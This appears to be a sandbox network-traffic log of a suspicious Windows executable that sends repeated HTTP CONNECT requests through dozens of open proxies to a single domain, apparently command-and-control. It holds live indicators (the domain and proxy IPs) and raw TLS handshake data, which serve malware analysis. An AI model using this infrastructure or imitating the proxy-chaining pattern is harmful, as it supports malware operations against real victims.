Feb 23, 2024 09:45:33.647152901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647294044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.4	54799	77.91.74.77	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.582108021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.796190023 CET	154	IN	HTTP/1.1 301 Moved Permanently Location: https://heygirlisheeverythingyouwantedinaman.com:443 Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.4	54785	211.222.252.187	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.602014065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.4	54618	72.195.34.59	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.653520107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.4	49822	161.97.173.42	23670	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.665424109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.683799982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.865829945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.865845919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.865520954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:06.865526915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:18.959266901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.4	52895	161.97.147.193	55283	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.670562029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834439039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.929053068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.4	54792	8.222.145.238	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.691385031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.4	54796	60.188.102.225	18080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.754401922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.4	54793	27.77.237.93	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.804121017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.4	54821	154.12.178.107	29985	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.815170050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.475203991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.4	54095	186.215.196.50	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.848093033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.902631044 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.4	54848	82.113.157.122	31280	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.848464012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.4	54884	43.153.55.205	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.862266064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.4	54846	52.67.10.183	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.862494946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.064951897 CET	154	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/plain X-Powered-By: PHP/5.3.6-13ubuntu3.6 Server: aserve Content-Length: 0
Feb 23, 2024 09:45:31.660226107 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 2b a0 17 6f ac 65 6e 4d fb 03 44 25 ad 46 37 69 58 7a be d4 40 c9 2c b0 58 b0 8f 3f cf 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[+oenMD%F7iXz@,X?*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 09:45:31.862529039 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 49 67 8e 4f d4 91 9f ec 5e f4 85 d3 2b eb 31 51 84 96 cd 69 e4 d3 98 00 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9IgO^+1QiDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223084423Z260222084423Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 09:45:33.888140917 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 19 85 6b ca 29 d2 a7 82 b6 49 c5 fa 22 92 39 e3 98 5a 2b 45 b5 bc 0d e4 af 95 dc 38 7a 94 8e 50 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 65 99 74 f2 25 7f 9f 9f f8 5f c8 ec 6a 3b 91 54 a2 ce 5e d9 7f Data Ascii: %! k)I"9Z+E8zP(et%_j;T^GgM
Feb 23, 2024 09:45:34.088323116 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 8f 9b ce 58 5b 4d 20 21 ab 6e e2 c0 56 b1 9c c2 f6 17 70 36 cd 18 cc 5a 3a 19 4d 65 73 15 c8 bd 41 96 37 62 25 26 20 1d Data Ascii: (X[M !nVp6Z:MesA7b%&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.4	52910	92.241.92.218	14888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.862529039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.4	54549	199.58.184.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.873017073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.4	54685	162.241.207.217	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.895776033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.268132925 CET	851	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:38 GMT Server: Apache Content-Length: 675 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 65 72 2e 61 72 69 61 62 69 72 64 70 6f 64 75 63 74 73 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@server.ariabirdpoducts.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.4	54865	104.16.195.74	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.895900011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.983408928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.4	54075	115.171.217.48	7891	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.908314943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.4	53823	27.75.149.169	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.932368040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.4	54845	8.213.128.90	20002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.936608076 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.4	52906	124.105.55.176	30906	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.936829090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.4	49938	167.86.69.142	35196	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:30.942070961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.943893909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.037790060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.037575006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.037482023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.037436008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:19.209271908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.4	54890	172.67.182.38	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.004813910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.092138052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.4	54874	91.142.222.84	55718	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.014925957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.646987915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.4	53589	103.230.126.123	44341	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.033262014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.4	54841	116.107.182.41	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.033973932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.4	54887	173.255.119.18	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.045042038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.4	54864	196.20.125.133	8083	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.058995962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.4	54879	37.235.53.208	6789	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.059627056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.4	54693	27.65.30.37	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.129352093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.4	54902	104.19.79.238	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.129524946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.217565060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.4	49908	45.225.184.206	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.134185076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.864015102 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.4	54686	120.26.0.11	8880	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.159845114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.507039070 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.4	49939	103.76.104.30	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.186424971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.4	54739	142.54.232.6	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.214413881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

